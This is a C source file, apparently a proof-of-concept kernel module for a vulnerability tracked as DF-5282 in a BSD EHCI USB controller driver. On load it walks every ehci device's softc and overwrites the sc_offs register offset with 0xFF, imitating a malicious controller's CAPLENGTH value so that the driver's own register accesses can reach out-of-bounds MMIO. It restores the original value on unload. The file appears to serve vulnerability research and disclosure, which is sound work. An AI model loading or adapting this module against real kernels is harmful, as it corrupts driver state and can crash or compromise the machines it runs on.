DF-5282 / poison.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 | /* * DF-5282 PoC — EHCI unvalidated register geometry (sc_offs / sc_noport). * * Simulates a malicious EHCI controller whose CAPLENGTH register returns * 0xFF: ehci_init() at sys/bus/u4b/controller/ehci.c:308 latches that * value verbatim into sc->sc_offs with no check against sc->sc_io_size. * This module writes the identical value into the already-latched field, * which is bit-identical to what ehci_init() would have stored from that * register. Everything downstream is the driver's unmodified code * (EOREAD4/EOWRITE4 = bus_space_{read,write}_4(io_hdl, sc_offs + reg), * sys/bus/u4b/controller/ehci.h:372-383). * * Max register reach with the poison: sc_offs(0xFF) + EHCI_PORTSC(15) * = 0xFF + 0x44 + 60 = 0x17F bytes past the BAR base. If the device * also reports an undersized BAR (< 0x180 — fully device-controlled), * every such access is out-of-bounds MMIO. */ #include <sys/stdint.h> #include <sys/param.h> #include <sys/queue.h> #include <sys/types.h> #include <sys/systm.h> #include <sys/kernel.h> #include <sys/bus.h> #include <sys/module.h> #include <sys/lock.h> #include <sys/condvar.h> #include <sys/sysctl.h> #include <sys/unistd.h> #include <sys/callout.h> #include <sys/malloc.h> #include <sys/caps.h> #include <sys/conf.h> /* same include set as ehci.c, so that ehci_softc_t is fully defined */ #include <bus/u4b/usb.h> #include <bus/u4b/usbdi.h> #include <bus/u4b/usb_core.h> #include <bus/u4b/usb_debug.h> #include <bus/u4b/usb_busdma.h> #include <bus/u4b/usb_process.h> #include <bus/u4b/usb_transfer.h> #include <bus/u4b/usb_device.h> #include <bus/u4b/usb_hub.h> #include <bus/u4b/usb_util.h> #include <bus/u4b/usb_controller.h> #include <bus/u4b/usb_bus.h> #include <bus/u4b/controller/ehci.h> static uint8_t saved_offs; static int ehcipwn_modevent(module_t mod, int type, void *data) { devclass_t dc; ehci_softc_t *sc; int unit, maxunit; switch (type) { case MOD_LOAD: dc = devclass_find("ehci"); if (dc == NULL) { kprintf("ehcipwn: no ehci devclass (driver loaded?)\n"); return (ENXIO); } maxunit = devclass_get_maxunit(dc); for (unit = 0; unit <= maxunit; unit++) { sc = devclass_get_softc(dc, unit); if (sc == NULL || sc->sc_io_res == NULL) continue; kprintf("ehcipwn: ehci%d softc=%p io_hdl=0x%jx " "io_size=0x%jx offs=0x%02x noport=%u\n", unit, sc, (uintmax_t)sc->sc_io_hdl, (uintmax_t)sc->sc_io_size, sc->sc_offs, sc->sc_noport); kprintf("ehcipwn: max poisoned reg offset = 0x%x " "(0xFF + 0x44 + 4*15); BAR covers [0,0x%jx]\n", 0xFF + 0x44 + 4 * 15, (uintmax_t)sc->sc_io_size - 1); if (sc->sc_io_size <= 0x17F) kprintf("ehcipwn: OOB WOULD BE OUTSIDE BAR " "(io_size <= 0x180)!\n"); else kprintf("ehcipwn: NOTE io_size > 0x180 -> " "poisoned accesses stay IN-BAR on this " "guest (no page fault expected)\n"); saved_offs = sc->sc_offs; sc->sc_offs = 0xFF; /* == CAPLENGTH 0xFF latched */ kprintf("ehcipwn: ehci%d POISONED: sc_offs 0x%02x " "-> 0xFF (simulated malicious CAPLENGTH)\n", unit, saved_offs); } return (0); case MOD_UNLOAD: dc = devclass_find("ehci"); if (dc != NULL) { maxunit = devclass_get_maxunit(dc); for (unit = 0; unit <= maxunit; unit++) { sc = devclass_get_softc(dc, unit); if (sc == NULL || sc->sc_io_res == NULL) continue; sc->sc_offs = saved_offs; kprintf("ehcipwn: ehci%d restored " "sc_offs=0x%02x\n", unit, sc->sc_offs); } } return (0); default: return (EOPNOTSUPP); } } DEV_MODULE(ehcipwn, ehcipwn_modevent, NULL); MODULE_VERSION(ehcipwn, 1); |